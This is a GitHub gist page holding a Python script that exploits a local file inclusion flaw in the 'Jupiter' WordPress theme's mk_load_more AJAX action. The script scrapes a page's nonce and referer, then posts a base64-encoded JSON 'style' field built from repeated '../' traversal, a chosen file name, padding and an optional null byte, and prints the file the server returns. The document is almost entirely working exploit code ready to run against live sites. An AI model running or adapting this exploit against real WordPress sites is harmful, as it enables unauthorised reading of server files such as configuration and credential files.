Skip to content

Instantly share code, notes, and snippets.

@Xowap
Created August 2, 2019 14:18
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Xowap/36aeaf193753bb266b57d396e36b1299 to your computer and use it in GitHub Desktop.
Save Xowap/36aeaf193753bb266b57d396e36b1299 to your computer and use it in GitHub Desktop.
Jupiter LCI
from argparse import ArgumentParser, Namespace
from base64 import b64encode
from json import dumps
from pprint import pprint
from typing import Optional, Sequence, Text
from urllib.parse import ParseResult, urljoin, urlparse
from requests_html import HTMLSession
def parse_args(argv: Optional[Sequence[Text]] = None) -> Namespace:
parser = ArgumentParser(description="Tests the Jupiter LFI/RCE issue")
parser.add_argument(
"-b", "--base-url", help="URL to a Jupiter category page", required=True
)
parser.add_argument(
"-f",
"--file-name",
help="Name of the file you are trying to open",
required=True,
)
parser.add_argument(
"-u",
"--levels-up",
type=int,
help="How many folders do you want to look up? (default = 15)",
default=15,
)
parser.add_argument(
"-n",
"--null-stop",
help="Terminate file name with a null character",
action="store_true",
)
parser.add_argument(
"-p",
"--padding",
help='Number of "./" padding after the file name',
type=int,
default=0,
)
return parser.parse_args(argv)
def make_atts(file_name: Text, levels_up: int, null_stop: bool, padding: int) -> Text:
return b64encode(
dumps(
{
"column": 3,
"comments_share": True,
"disable_lazyload": False,
"disable_meta": False,
"excerpt_length": 200,
"full_content": False,
"grid_image_height": 300,
"i": 0,
"image_size": "crop",
"layout": "full",
"lazyload": False,
"shortcode_name": "mk_blog",
"style": (
"../" * levels_up
+ f"{file_name.lstrip('/')}"
+ ("./" * padding)
+ ("\0" if null_stop else "")
),
"thumbnail_align": "left",
}
).encode()
).decode()
def make_query():
return b64encode(dumps({}).encode()).decode()
def make_params(s: HTMLSession, base_url, file_name, levels_up, null_stop, padding):
r = s.get(base_url)
safe = r.html.find("#safe_load_more", first=True)
ref = r.html.find('input[name="_wp_http_referer"]', first=True)
return {
"_wp_http_referer": ref.attrs["value"],
"action": "mk_load_more",
"atts": make_atts(file_name, levels_up, null_stop, padding),
"look_iterator": "10",
"maxPages": "2",
"paged": "2",
"posts": "",
"query": make_query(),
"safe_load_more": safe.attrs["value"],
}
def do_request(s: HTMLSession, url, params):
info: ParseResult = urlparse(url)
pprint(params)
print("")
s.cookies.set("XDEBUG_SESSION", "debug", domain=info.hostname, path="/")
r = s.post(
urljoin(url, "/wp-admin/admin-ajax.php"),
data=params,
headers={"X-Requested-With": "XMLHttpRequest"},
allow_redirects=False,
)
print(f"Status = {r.status_code}")
print("-----")
print("")
print(r.content.decode())
def main(argv: Optional[Sequence[Text]] = None):
args = parse_args(argv)
with HTMLSession() as s:
params = make_params(
s,
args.base_url,
args.file_name,
args.levels_up,
args.null_stop,
args.padding,
)
do_request(s, args.base_url, params)
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment